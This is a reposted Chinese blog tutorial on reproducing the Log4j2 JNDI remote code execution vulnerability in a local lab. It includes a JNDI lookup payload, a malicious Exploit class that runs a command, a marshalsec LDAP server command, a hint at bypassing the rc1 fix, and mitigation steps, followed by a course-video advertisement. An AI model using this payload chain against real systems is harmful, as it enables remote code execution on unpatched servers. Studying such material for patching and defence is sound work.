手把手教你复现Log4j2漏洞,千万别中招!

JAVA公众号

共 321字,需浏览 1分钟

 · 2021-12-18

来源:blog.csdn.net/qq_40989258/article/

details/121862363

0x00 简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

0x01 漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

0x02 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

0x03 环境搭建

创建一个新的maven项目,并导入Log4j的依赖包

<dependency>
    <groupId>org.apache.logging.log4jgroupId>
    <artifactId>log4j-coreartifactId>
    <version>2.14.1version>
dependency>

0x04 漏洞利用

1、使用POC测试

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
    }
}

2、编译一恶意类Exploit.class

首先新建exp.java,然后编译为class文件

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

javac exp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令

结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1,RC2版本对此异常进行了捕获。

https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墙产品进行安全防护。



最近给大家找了   Java大型分布式网上预约挂号系统全栈前后端开发实战课程视频教程

本课程项目是一个网上预约挂号系统,包含后台管理系统和前台用户系统,采用前后端分离开发模式。项目技术应用广泛,涵盖微服务、全栈、集群、分布式、高并发;技术应用场景合理,并非多技术的盲目堆叠;业务场景贴近实际,按照市场需求开发。项目后端技术栈,采用主流的SpringBoot+SpringCloud微服务架构,全面使用了目前流行的NoSQL技术,使用Redis缓存数据,使用MongoDB实现高并发读写,整合消息中间件RabbitMQ提高订单的并发量,同时还整合了定时任务,实现就医提醒功能,综合应用了阿里云OSS,短信服务以及微信登录、微信支付,同时增加了微信退款功能。项目前端技术栈,采用主流前端框架Vue,使用Nuxt和vue-admin-template模板搭建页面环境,采用Element-ui进行页面布局,Npm进行依赖管理,axios进行异步调用,使用ECharts进行图表显示,实现全栈开发。

资源,怎么领取?


扫二维码,加我微信,回复:挂号系统


一定要备注:挂号系统,不要急哦,工作忙完后就通过!


浏览 59
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报